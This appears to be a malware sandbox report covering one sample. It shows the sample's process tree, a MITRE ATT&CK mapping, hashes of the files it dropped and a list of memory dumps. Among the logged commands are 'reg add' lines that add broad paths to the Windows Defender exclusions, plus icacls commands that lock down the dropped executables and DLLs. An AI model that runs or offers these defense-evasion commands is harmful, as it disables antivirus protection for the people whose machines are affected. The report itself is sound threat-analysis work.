- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1744
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5864
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5504
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4196
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\k8surB.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\k8surB.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5688
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\k8surB.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3400
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\k8surB.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4804
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\k8surB.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4904
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\k8surB.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3844
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1840
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5768
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1256
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4856
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5004
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3692
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:792
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5248
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:616
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4808
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1696
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2260
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4072
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EinwCJ\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EinwCJ\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5672

C:\Users\Public\4FZkqg\efmsq8.exe
"C:\Users\Public\4FZkqg\efmsq8.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3400

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4FZkqg" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:420
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4FZkqg" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5592

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1808

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4476
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5472

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1272
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3872

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1392
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4312

C:\Program Files (x86)\EinwCJ\k8surB.exe
"C:\Program Files (x86)\EinwCJ\k8surB.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2700

C:\Program Files (x86)\0JOi3P22\pq1O0sd3.exe
"C:\Program Files (x86)\0JOi3P22\pq1O0sd3.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5884

C:\Program Files (x86)\EinwCJ\k8surB.exe
"C:\Program Files (x86)\EinwCJ\k8surB.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5200

C:\Program Files (x86)\0JOi3P22\pq1O0sd3.exe
"C:\Program Files (x86)\0JOi3P22\pq1O0sd3.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1720

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\0JOi3P22\XPSPLOG.dll
Size 4.6MB
SHA256 a0bf8940f4de0b01e3e465ba798b38369cf43327e9b9544c68f888d834970c27
MD5 9015c19ce3117f42214758485bef82bf
SHA1 3252818a54c6052ff46d40258778f980057e0090
SHA512 068de31ff883854f631c838cd017a3d3617939690422d33fe4b5dbf1e01fbf0e0b597078db68a12d53ec9b142b75d3e336be235f2bc12deccf0a4eca8bfce5c9
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy8:BMWKfU+BcUTHCCCfqCiUffn8
TLSH
T179263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\0JOi3P22\image.png
Size 4.8MB
SHA256 2f3dd1d6a7a8881559cc58b29383363a12f6a4fc3a39e2f148ff12f54cee2964
MD5 79ca84d51c7ad06f639ac33d23596242
SHA1 9a59546380c80ced5152c2e16741b6949e270dc6
SHA512 246ba16191a21ba67ef69d99c73395016d5e900ffc8bac1d0c19acbf9dbbe53029a07da4e02c648e4f8ecb90eacf4a758e84520d666aa2548c8873e76bfb5390
SSDEEP 98304:R/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:RMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T16F36334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D70B3293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\EinwCJ\XPSPLOG.dll
Size 4.6MB
SHA256 72345de07f3080ea683f475f4811df6e73af84d7af2fa376678db80f4bb41abf
MD5 c01fda19d1c26c567527a45c5c8627ac
SHA1 ec5709fc51759622c3a5cfb6518989af1a8b119f
SHA512 71cbb90f13cf552586f8a941ad2c760340d0df60a41230c7ced3151c8653394416cf58e4db4eaafe880c9f2ee8a47dea84ce48418fca2cf279f6848385caa09b
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyw:BMWKfU+BcUTHCCCfqCiUffnw
TLSH
T1F8263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

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image.png

Path C:\Program Files (x86)\EinwCJ\image.png
Size 4.8MB
SHA256 2d125916f8d0712628d067820f3a0d3bab581f8be6fec49c118317435a3bf8b2
MD5 9def15fb11e09813b5001c68017d9dfa
SHA1 981bc1328fc5213819423c4c3de362fd78c2d083
SHA512 c4a931c33a344bba18be6f2853084d34186af74954cde3bbac86c5804f3ae7f988c2687e8e732756a33e348bd58e6e5f9af4379aadaf70baab2a1f43fd660345
SSDEEP 98304:G/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:GMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T16736334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

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k8surB.exe

Path C:\Program Files (x86)\EinwCJ\k8surB.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

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thumbs.db

Path C:\Program Files (x86)\EinwCJ\thumbs.db
Size 358KB
SHA256 815aaaeec40ae98f9e07826fb666bb45efdc3ec1a5cab2882454b622753e9d16
MD5 f05fc5e97c74a3842bbc79b4adc72bc8
SHA1 b0e1732b3971d88bdd978510238105904ac963f5
SHA512 9fcc378a6f1f57678c15c7d5adac4149aad08f8df8dcff3d50471d48f7d82c73e8f3de83da1145b91fba65c4c99aa093cec2e9c21bf5e0854840887f01081c66
SSDEEP 6144:NiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:E8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T12E74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

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0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 c7cabf8a593fd2e39ddd70f5efc9b900b6d18725b3ec1aaa99f6659e3d25a004
MD5 6398e883089b5ff7d598fa2e2f4385c1
SHA1 a4f9097703aefad709f3dbda1a40b833afd5dbda
SHA512 116e6e903d1604146cee65d288bad830716bf705f1d7dd0eaf172b28bbe20fc7fd5c16a8486d2ff02fe86a21c61c43b39ee8fdae42893021a1a24032ca675ce4
TLSH
T17C3196BB3FBD3C828F294D5425C9A6222CF5E1406CC6589E6255C498DF053B22F4F50D
MD5 SHA1 SHA512 TLSH

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B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 0b8474d8df8d91cd0b72011467d004364acdc3f06e40b9d713b6e7de061e23bd
MD5 c3877ff86a35403067a87a910a9757fb
SHA1 cf5842e9ae80a23429cf9ab7d09298ca9f068e05
SHA512 1833ba894245853a598880f4bff4b37929e4a85b013303258b9e818d9bebe428ffdcb77765579bbcb4951ef321080139c9251d24406798d5313c3f8c0ad5bf04
TLSH
T1CA31B64B4E394063EF0C5F7913D4D13F6CF561744CE88845663AC56B4619B7B6F85404
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 0c42a1c6cbea4ab211059639114b6c87555c3b76ff7caafcf9ecb5e8bd972d21
MD5 83af5cd21d12826b6e270ea96d7a2f69
SHA1 e747a8953f88ba104b2806af203b28d957ae5143
SHA512 0cb7edbd358bcae3fea71676e57f6525f0c8a8d4235237cc3fb52bb233be1c35a7cb8e90d08ea694fafdb67d688dbd538a8c911583d7224756f510641594e0d8
TLSH
T13FF05C2448FC613DF133DA3D8BC93DD7076FEA06740549A40AA4470CAA257452DA1AB5
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 3e0ef4633c425e893a7fb8f6a6c8f0827079a1093731022940207113a64f8fb4
MD5 f1a69da2cfcd26126eaca153d98281ac
SHA1 adf3036750d639ebafd88b79815c5ddcbefd8b20
SHA512 43f5936a8290f221904be015d594f94c361f4931eb1989d94a89ae35e55084f2bb1a369be5cfdd30471e4b3209b66c056f27ebd31fbccac2466de3cdb7529d3b
TLSH
T1D9F027295AD9403AF03BD6B48BD736A25A6AE125500762AF0AEA43155A61C411C4227A
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_qlpphoo0.gc5.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qlpphoo0.gc5.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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UxEnhance64.dll

Path C:\Users\Public\4FZkqg\UxEnhance64.dll
Size 3.1MB
SHA256 0364cf33518406636d9ef110860cc73ce01471ee708caf38b1651d247c7ffc7b
MD5 5b09950c67c04cc0d9e22eecd27c7c56
SHA1 e43fe0d60bd6eed6bb838cf551003de4cb28d7cd
SHA512 0d23d3724ee873b133048af807ddbe607fa228ac62963cda421df43b2202800f9a0772a5a529087f602bd97c3617d4923fb4670e83f5ef61a5cd904748c92b4e
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+D:P9m29xx3Tiqt06ox6+z2rNNrKoD
TLSH
T192E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\4FZkqg\adoresd.dat
Size 4.8MB
SHA256 6d2314e35689f3ad85dfc572e6b5b8a19a0f80997c8202654c6470affd48cf60
MD5 c6bfef0eba0000b99052efe5f4d9e00d
SHA1 43929b56499ef6e60ad9f0057a3fd4db25fc3ac3
SHA512 42404758b4531b6990b58dbbecbedbfd6926ee9d5a0389d5245f6c1d48f9d06cd090defffdb98dca589e5bba22ee8bb9f209f423137144129b66e6838cb41355
SSDEEP 98304:oWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:oWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1F43633AF2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

efmsq8.exe

Path C:\Users\Public\4FZkqg\efmsq8.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\4FZkqg\msadox.tb
Size 8KB
SHA256 ad0f617d10279192bc459939b67e1c61a13909314a19ff3c3d15667657f4841a
MD5 d58d424aed437a23450fd15bacd12b6f
SHA1 7d62fd3b0332ed6f14ea0e70288bf46ada4f139e
SHA512 0ba39bce7e685d62cfbfce996886fd6eabb24eebe1957b05a27646c33696f0c5bff6d58195eaed237325e4fbd52347690da288edcc84447296ab9148d720b947
SSDEEP 192:xqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:xsZqZOXQ3uqvR2Kfzp
TLSH
T1E5029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DE2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

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memory/976-605-0x0000014F785D0000-0x0000014F785DA000-memory.dmp

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memory/976-604-0x0000014F78510000-0x0000014F785C2000-memory.dmp

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memory/976-601-0x0000014F783E0000-0x0000014F783FE000-memory.dmp

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memory/976-595-0x0000014F78380000-0x0000014F783A2000-memory.dmp

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memory/1448-560-0x000001A3D9410000-0x000001A3D949A000-memory.dmp

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memory/1448-538-0x00007FFCECC60000-0x00007FFCECC62000-memory.dmp

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memory/1448-559-0x000001A3D9410000-0x000001A3D949A000-memory.dmp

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memory/1448-558-0x000001A3D7CA0000-0x000001A3D7CEE000-memory.dmp

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memory/1448-556-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-564-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-566-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-567-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-536-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-545-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-539-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-562-0x000001A3D9410000-0x000001A3D949A000-memory.dmp

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memory/1448-561-0x000001A3D9410000-0x000001A3D949A000-memory.dmp

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memory/1448-531-0x00007FFCC9FF0000-0x00007FFCCA50E000-memory.dmp

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memory/1448-550-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-546-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-543-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-544-0x000001A3D86C0000-0x000001A3D8F97000-memory.dmp

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memory/1448-530-0x00007FFCECC50000-0x00007FFCECC52000-memory.dmp

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memory/1720-767-0x00000000738D0000-0x000000007401A000-memory.dmp

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memory/1720-781-0x0000000001310000-0x0000000001311000-memory.dmp

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memory/1720-778-0x0000000003860000-0x000000000403D000-memory.dmp

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memory/1720-777-0x0000000002B30000-0x0000000002B31000-memory.dmp

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memory/1720-770-0x0000000003860000-0x000000000403D000-memory.dmp

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memory/1720-766-0x0000000001310000-0x0000000001311000-memory.dmp

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memory/2700-730-0x00000000012D0000-0x00000000012D1000-memory.dmp

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memory/2700-731-0x0000000074CB0000-0x00000000753FA000-memory.dmp

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memory/3400-576-0x0000024604EA0000-0x0000024605777000-memory.dmp

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memory/3400-590-0x0000024604EA0000-0x0000024605777000-memory.dmp

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memory/3400-588-0x0000024604EA0000-0x0000024605777000-memory.dmp

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memory/3400-589-0x0000024604EA0000-0x0000024605777000-memory.dmp

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memory/3400-591-0x00007FFCECC50000-0x00007FFCECC52000-memory.dmp

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memory/3400-585-0x0000024604EA0000-0x0000024605777000-memory.dmp

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memory/3400-581-0x0000024604EA0000-0x0000024605777000-memory.dmp

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memory/3400-580-0x00007FFCECC60000-0x00007FFCECC62000-memory.dmp

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memory/3400-572-0x00007FFCC9FF0000-0x00007FFCCA50E000-memory.dmp

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memory/5012-682-0x0000000002D40000-0x000000000351D000-memory.dmp

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memory/5012-747-0x00000000050B0000-0x00000000050ED000-memory.dmp

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memory/5012-674-0x0000000000720000-0x0000000000721000-memory.dmp

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memory/5012-694-0x0000000002D40000-0x000000000351D000-memory.dmp

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memory/5012-709-0x0000000010000000-0x0000000010061000-memory.dmp

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memory/5012-711-0x0000000002D40000-0x000000000351D000-memory.dmp

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memory/5012-713-0x0000000002D40000-0x000000000351D000-memory.dmp

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memory/5012-693-0x0000000004520000-0x0000000004534000-memory.dmp

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memory/5012-686-0x0000000002D40000-0x000000000351D000-memory.dmp

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memory/5012-675-0x0000000074CB0000-0x00000000753FA000-memory.dmp

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memory/5012-737-0x0000000002D40000-0x000000000351D000-memory.dmp

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memory/5012-679-0x0000000002D40000-0x000000000351D000-memory.dmp

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memory/5012-681-0x0000000000C30000-0x0000000000C31000-memory.dmp

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memory/5200-772-0x0000000000FB0000-0x0000000000FB1000-memory.dmp

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memory/5200-761-0x0000000074CB0000-0x00000000753FA000-memory.dmp

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memory/5200-776-0x0000000000F80000-0x0000000000F81000-memory.dmp

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memory/5200-773-0x0000000003670000-0x0000000003E4D000-memory.dmp

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memory/5200-764-0x0000000003670000-0x0000000003E4D000-memory.dmp

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memory/5200-760-0x0000000000F80000-0x0000000000F81000-memory.dmp

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memory/5336-0-0x0000000002000000-0x000000000200E000-memory.dmp

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memory/5336-524-0x0000000002000000-0x000000000200E000-memory.dmp

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memory/5336-525-0x00007FFCE2860000-0x00007FFCE2872000-memory.dmp

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memory/5336-1-0x0000000002000000-0x000000000200E000-memory.dmp

